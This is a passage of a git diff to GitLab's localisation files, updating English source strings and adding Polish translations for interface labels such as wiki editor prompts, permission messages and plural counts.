+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/pl_PL/gitlab.po b/locale/pl_PL/gitlab.po
index e4cee7b0657..91fe1323997 100644
--- a/locale/pl_PL/gitlab.po
+++ b/locale/pl_PL/gitlab.po
@@ -14,16 +14,13 @@ msgstr ""
"X-Crowdin-Language: pl\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:45\n"
+"PO-Revision-Date: 2021-07-01 21:31\n"
msgid " %{name}, confirm your email address now! "
msgstr " %{name}, potwierdź teraz swój adres e-mail! "
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr " %{project_name}#%{issuable_iid} &middot; utworzony %{issuable_created} przez %{author} &middot; zaktualizowany %{issuable_updated}"
-
msgid " %{start} to %{end}"
-msgstr ""
+msgstr " %{start} do %{end}"
msgid " (from %{timeoutSource})"
msgstr ""
@@ -41,7 +38,7 @@ msgid " Try to %{action} this file again."
msgstr " Spróbuj %{action} ten plik ponownie."
msgid " Type"
-msgstr ""
+msgstr " Typ"
msgid " You need to do this before %{grace_period_deadline}."
msgstr " Musisz to zrobić przed %{grace_period_deadline}."
@@ -93,6 +90,9 @@ msgstr "Rozmiar (%{repository_size}) w „%{repository_name}†jest większy ni
msgid "\"el\" parameter is required for createInstance()"
msgstr "Parametr „el†jest wymagany dla createInstance()"
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] "%d Zatwierdzenie"
@@ -341,13 +341,6 @@ msgstr[1] "%d zgłoszenia pomyślnie zaimportowane z etykietą"
msgstr[2] "%d zgłoszeń pomyślnie zaimportowanych z etykietą"
msgstr[3] "%d zgłoszenia pomyślnie zaimportowana z etykietą"
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d warstwa"
@@ -378,10 +371,10 @@ msgstr[3] "%d metryki"
msgid "%d milestone"
msgid_plural "%d milestones"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d kamień milowy"
+msgstr[1] "%d kamienie milowe"
+msgstr[2] "%d kamieni milowych"
+msgstr[3] "%d kamienia milowego"
msgid "%d minute"
msgid_plural "%d minutes"
@@ -504,10 +497,10 @@ msgstr[3] "%d podatności odrzuconej"
msgid "%d vulnerability updated"
msgid_plural "%d vulnerabilities updated"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%d podatność zaktualizowana"
+msgstr[1] "%d podatności zaktualizowano"
+msgstr[2] "%d podatności zaktualizowano"
+msgstr[3] "%d podatności zaktualizowano"
msgid "%d warning found:"
msgid_plural "%d warnings found:"
@@ -547,11 +540,35 @@ msgstr "wątek użytkownika %{authorsName}"
msgid "%{board_target} not found"
msgstr "nie znaleziono %{board_target}"
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr "%{code_open} Maskowanie:%{code_close} Ukryte w logu zadań. Musi spełnić wymagania maskowania."
msgid "%{code_open}Protected:%{code_close} Only exposed to protected branches or tags."
-msgstr ""
+msgstr "%{code_open}Chronione%{code_close} Widoczne tylko dla chronionych branchy lub tagów."
msgid "%{commit_author_link} authored %{commit_timeago}"
msgstr "%{commit_author_link} utworzył(a) %{commit_timeago}"
@@ -583,16 +600,23 @@ msgstr "%{count} linii kodu/commit"
msgid "%{count} approval required from %{name}"
msgid_plural "%{count} approvals required from %{name}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%{count} zatwierdzenie wymagane od %{name}"
+msgstr[1] "%{count} zatwierdzenia wymagane od %{name}"
+msgstr[2] "%{count} zatwierdzeń wymaganych od %{name}"
+msgstr[3] "%{count} zatwierdzenia wymagane od %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} zatwierdzeń od %{name}"
msgid "%{count} files touched"
-msgstr ""
+msgstr "%{count} plików zmieniono"
+
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "%{count} items per page"
msgstr "%{count} elementy na stronie"
@@ -630,7 +654,7 @@ msgid "%{count} total weight"
msgstr ""
msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
-msgstr ""
+msgstr "%{criticalStart} %{critical} Krytyczne%{criticalEnd} %{highStart}%{high} Ważne%{highEnd} i %{otherStart}%{otherMessage}%{otherEnd}"
msgid "%{dashboard_path} could not be found."
msgstr "%{dashboard_path} nie może zostać znalezione."
@@ -723,13 +747,13 @@ msgid "%{issueType} actions"
msgstr "akcje %{issueType}"
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{issuesCount} zgłoszeń przy limicie %{maxIssueCount}"
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{issuesSize} przy limicie %{maxIssueCount}"
msgid "%{itemsCount} issues with a limit of %{maxIssueCount}"
-msgstr ""
+msgstr "%{itemsCount} problemów, z limitem %{maxIssueCount} problemów."
msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
msgstr "%{labelStart}Faktyczna odpowiedź:%{labelEnd} %{headers}"
@@ -788,12 +812,12 @@ msgstr "%{level_name} nie jest dozwolone w grupie %{group_level_name}."
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
+msgid "%{link_start}Learn more%{link_end} about roles."
+msgstr ""
+
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr "%{link_start}Dowiedz się więcej%{link_end} o tym, jakie informacje są udostępniane firmie GitLab Inc."
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr ""
-
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -898,7 +922,7 @@ msgid "%{openedIssues} open, %{closedIssues} closed"
msgstr "%{openedIssues} otwarte, %{closedIssues} zamknięte"
msgid "%{percentage}%% weight completed"
-msgstr ""
+msgstr "Ukończono %{percentage}%% wagi"
msgid "%{percent}%% complete"
msgstr "%{percent}%% ukończono"
@@ -938,7 +962,7 @@ msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
-msgstr ""
+msgstr "%{retryButtonStart}Spróbuj ponownie%{retryButtonEnd} lub %{newFileButtonStart}załącz nowy plik%{newFileButtonEnd}."
msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
msgstr ""
@@ -947,57 +971,57 @@ msgid "%{rotation} has been recalculated with the remaining participants. Please
msgstr ""
msgid "%{seconds}s"
-msgstr ""
+msgstr "%{seconds}s"
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%{securityScanner} nie jest włączone dla tego projektu. %{linkStart}Więcej informacji%{linkEnd}"
+msgstr[1] "%{securityScanner} nie są włączone dla tego projektu. %{linkStart}Więcej informacji%{linkEnd}"
+msgstr[2] "%{securityScanner} nie jest włączonych dla tego projektu. %{linkStart}Więcej informacji%{linkEnd}"
+msgstr[3] "%{securityScanner} nie jest włączona dla tego projektu. %{linkStart}Więcej informacji%{linkEnd}"
msgid "%{securityScanner} result is not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Wynik %{securityScanner} jest niedostępny, ponieważ potok nie został uruchomiony od czasu jego włączenia. %{linkStart}Uruchom potok%{linkEnd}"
+msgstr[1] "Wyniki %{securityScanner} są niedostępne, ponieważ potok nie został uruchomiony od czasu jego włączenia. %{linkStart}Uruchom potok%{linkEnd}"
+msgstr[2] "Wyniki %{securityScanner} są niedostępne, ponieważ potok nie został uruchomiony od czasu jego włączenia. %{linkStart}Uruchom potok%{linkEnd}"
+msgstr[3] "Wyniki %{securityScanner} jest niedostępnych, ponieważ potok nie został uruchomiony od czasu jego włączenia. %{linkStart}Uruchom potok%{linkEnd}"
-msgid "%{size} %{unit}"
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
msgstr ""
+msgid "%{size} %{unit}"
+msgstr "%{size} %{unit}"
+
msgid "%{size} GiB"
-msgstr ""
+msgstr "%{size} GiB"
msgid "%{size} KiB"
-msgstr ""
+msgstr "%{size} KiB"
msgid "%{size} MiB"
-msgstr ""
+msgstr "%{size} MiB"
msgid "%{size} bytes"
-msgstr ""
+msgstr "%{size} bajtów"
msgid "%{sourceBranch} into %{targetBranch}"
-msgstr ""
+msgstr "%{sourceBranch} do %{targetBranch}"
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
-msgstr ""
+msgstr "%{spammable_titlecase} został pomyślnie wysłany do Akisment."
msgid "%{spanStart}at line%{spanEnd} %{errorLine}%{errorColumn}"
-msgstr ""
+msgstr "%{spanStart}w linii%{spanEnd} %{errorLine}%{errorColumn}"
msgid "%{spanStart}in%{spanEnd} %{errorFn}"
-msgstr ""
+msgstr "%{spanStart}w%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
-msgstr ""
+msgstr "%{start} do %{end}"
msgid "%{state} epics"
-msgstr ""
-
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
+msgstr "%{state} epiki"
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1038,17 +1062,17 @@ msgstr[2] ""
msgstr[3] ""
msgid "%{strong_start}%{human_size}%{strong_end} Files"
-msgstr ""
+msgstr "%{strong_start}%{human_size}%{strong_end} Pliki"
msgid "%{strong_start}%{human_size}%{strong_end} Storage"
-msgstr ""
+msgstr "%{strong_start}%{human_size}%{strong_end} Magazyn"
msgid "%{strong_start}%{release_count}%{strong_end} Release"
msgid_plural "%{strong_start}%{release_count}%{strong_end} Releases"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%{strong_start}%{release_count}%{strong_end} Wydanie"
+msgstr[1] "%{strong_start}%{release_count}%{strong_end} Wydania"
+msgstr[2] "%{strong_start}%{release_count}%{strong_end} Wydań"
+msgstr[3] "%{strong_start}%{release_count}%{strong_end} Wydania"
msgid "%{strong_start}%{tag_count}%{strong_end} Tag"
msgid_plural "%{strong_start}%{tag_count}%{strong_end} Tags"
@@ -1058,29 +1082,29 @@ msgstr[2] ""
msgstr[3] ""
msgid "%{tabname} changed"
-msgstr ""
+msgstr "%{tabname} zmieniono"
msgid "%{tags} tag per image name"
-msgstr ""
+msgstr "%{tags} tag na nazwÄ™ obrazu"
msgid "%{tags} tags per image name"
-msgstr ""
+msgstr "%{tags} tagów na nazwę obrazu"
msgid "%{tag}-%{evidence}-%{filename}"
-msgstr ""
+msgstr "%{tag}-%{evidence}-%{filename}"
msgid "%{template_project_id} is unknown or invalid"
-msgstr ""
+msgstr "%{template_project_id} jest nieznany lub nieprawidłowy"
msgid "%{text} %{files}"
msgid_plural "%{text} %{files} files"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "%{text} %{files} plik"
+msgstr[1] "%{text} %{files} pliki"
+msgstr[2] "%{text} %{files} plików"
+msgstr[3] "%{text} %{files} pliku"
msgid "%{text} is available"
-msgstr ""
+msgstr "%{text} jest dostępny"
msgid "%{timebox_name} should belong either to a project or a group."
msgstr "%{timebox_name} powinien należeć albo do projektu albo do grupy."
@@ -1115,12 +1139,6 @@ msgstr "%{total} waga otwartego problemu"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} ostrzeżeń znaleziono: pokazano pierwsze %{warningsDisplayed}"
-msgid "%{type} License"
-msgstr "%{type} Licencja"
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}Dowiedz się więcej%{usage_ping_link_end} o tym, jakie informacje są udostępniane GitLab Inc."
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (nie może zmergować)"
@@ -1149,6 +1167,9 @@ msgid "%{user} created an epic: %{epic_link}"
msgstr ""
msgid "%{user} created an issue: %{issue_link}"
+msgstr "%{user} utworzył(a) zgłoszenie: %{issue_link}"
+
+msgid "%{value} is not included in the list"
msgstr ""
msgid "%{value} s"
@@ -1200,105 +1221,105 @@ msgid "'%{name}' Value Stream saved"
msgstr "„%{name}†Value Stream zapisano"
msgid "'%{source}' is not a import source"
-msgstr ""
+msgstr "'%{source}' nie jest źródłem importu"
msgid "'%{template_name}' is unknown or invalid"
-msgstr ""
+msgstr "'%{template_name}' jest nieznany lub nieprawidłowy"
msgid "(%d closed)"
msgid_plural "(%d closed)"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "(%d zamknięte)"
+msgstr[1] "(%d zamknięte)"
+msgstr[2] "(%d zamkniętych)"
+msgstr[3] "(%d zamkniętego)"
msgid "(%{mrCount} merged)"
-msgstr ""
+msgstr "(%{mrCount} zmergowane)"
msgid "(%{value}) has already been taken"
-msgstr ""
+msgstr "(%{value}) zostało już zajęte"
msgid "(+%{count}&nbsp;rules)"
-msgstr ""
+msgstr "(+%{count}&nbsp;zasad)"
msgid "(Group Managed Account)"
-msgstr ""
+msgstr "(Konto zarzÄ…dzane przez grupÄ™)"
msgid "(No changes)"
-msgstr ""
+msgstr "(Bez zmian)"
msgid "(UTC %{offset}) %{timezone}"
-msgstr ""
+msgstr "(UTC %{offset}) %{timezone}"
msgid "(check progress)"
-msgstr ""
+msgstr "(sprawdź postęp)"
msgid "(deleted)"
-msgstr ""
+msgstr "(usunięto)"
msgid "(leave blank if you don't want to change it)"
-msgstr ""
+msgstr "(pozostaw puste, jeśli nie chcesz tego zmieniać)"
msgid "(max size 15 MB)"
-msgstr ""
+msgstr "(maksymalny rozmiar 15 MB)"
msgid "(removed)"
-msgstr ""
+msgstr "(usunięto)"
msgid "(revoked)"
-msgstr ""
+msgstr "(unieważnione)"
msgid "(we need your current password to confirm your changes)"
-msgstr ""
+msgstr "(potrzebujemy Twojego aktualnego hasła, aby potwierdzić zmiany)"
msgid "* * * * *"
-msgstr ""
+msgstr "* * * * *"
msgid "+ %{amount} more"
-msgstr ""
+msgstr "+ %{amount} więcej"
msgid "+ %{count} more"
-msgstr ""
+msgstr "+ %{count} więcej"
msgid "+ %{moreCount} more"
-msgstr ""
+msgstr "+ %{moreCount} więcej"
msgid "+ %{numberOfHiddenAssignees} more"
-msgstr ""
+msgstr "+ %{numberOfHiddenAssignees} więcej"
msgid "+%d more"
msgid_plural "+%d more"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "+%d więcej"
+msgstr[1] "+%d więcej"
+msgstr[2] "+%d więcej"
+msgstr[3] "+%d więcej"
msgid "+%{approvers} more approvers"
-msgstr ""
+msgstr "+%{approvers} więcej osób zatwierdzających"
msgid "+%{extra} more"
-msgstr ""
+msgstr "+%{extra} więcej"
msgid "+%{more_assignees_count}"
-msgstr ""
+msgstr "+%{more_assignees_count}"
msgid "+%{more_assignees_count} more assignees"
-msgstr ""
+msgstr "+%{more_assignees_count} więcej przypisanych osób"
msgid "+%{more_reviewers_count}"
-msgstr ""
+msgstr "+%{more_reviewers_count}"
msgid "+%{more_reviewers_count} more reviewers"
-msgstr ""
+msgstr "+%{more_reviewers_count} recenzentów"
msgid "+%{tags} more"
-msgstr ""
+msgstr "+%{tags} więcej"
msgid ", or "
-msgstr ""
+msgstr ", lub "
msgid "- Available to run jobs."
-msgstr ""
+msgstr "- Dostępne do uruchamiania zadań."
msgid "- Event"
msgid_plural "- Events"
@@ -1308,26 +1329,26 @@ msgstr[2] ""
msgstr[3] ""
msgid "- Not available to run jobs."
-msgstr ""
+msgstr "- Niedostępne do uruchomienia zadań."
msgid "- User"
msgid_plural "- Users"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "- Użytkownik"
+msgstr[1] "- Użytkowników"
+msgstr[2] "- Użytkowników"
+msgstr[3] "- Użytkownika"
msgid "- of - weight completed"
-msgstr ""
+msgstr "- z - wagi zakończone"
msgid "- show less"
-msgstr ""
+msgstr "- pokaż mniej"
msgid "."
-msgstr ""
+msgstr "."
msgid "0 bytes"
-msgstr ""
+msgstr "0 bajtów"
msgid "0 for unlimited"
msgstr ""
@@ -1336,7 +1357,7 @@ msgid "0 for unlimited, only effective with remote storage enabled."
msgstr ""
msgid "0t1DgySidms"
-msgstr ""
+msgstr "0t1DgySidms"
msgid "1 Day"
msgid_plural "%d Days"
@@ -1375,17 +1396,17 @@ msgstr[3] ""
msgid "1 day remaining"
msgid_plural "%d days remaining"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "Pozostał 1 dzień"
+msgstr[1] "Pozostało %d dni"
+msgstr[2] "Pozostało %d dni"
+msgstr[3] "Pozostało %d dnia"
msgid "1 deploy key"
msgid_plural "%d deploy keys"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "1 klucz wdrożeniowy"
+msgstr[1] "%d klucze wdrożeniowe"
+msgstr[2] "%d kluczy wdrożeniowych"
+msgstr[3] "%d klucza wdrożeniowego"
msgid "1 follower"
msgid_plural "%{count} followers"
@@ -1396,10 +1417,10 @@ msgstr[3] ""
msgid "1 group"
msgid_plural "%d groups"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "1 grupa"
+msgstr[1] "%d grupy"
+msgstr[2] "%d grup"
+msgstr[3] "%d grupy"
msgid "1 hour"
msgid_plural "%d hours"
@@ -1466,10 +1487,10 @@ msgstr[3] ""
msgid "1 role"
msgid_plural "%d roles"
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
+msgstr[0] "1 rola"
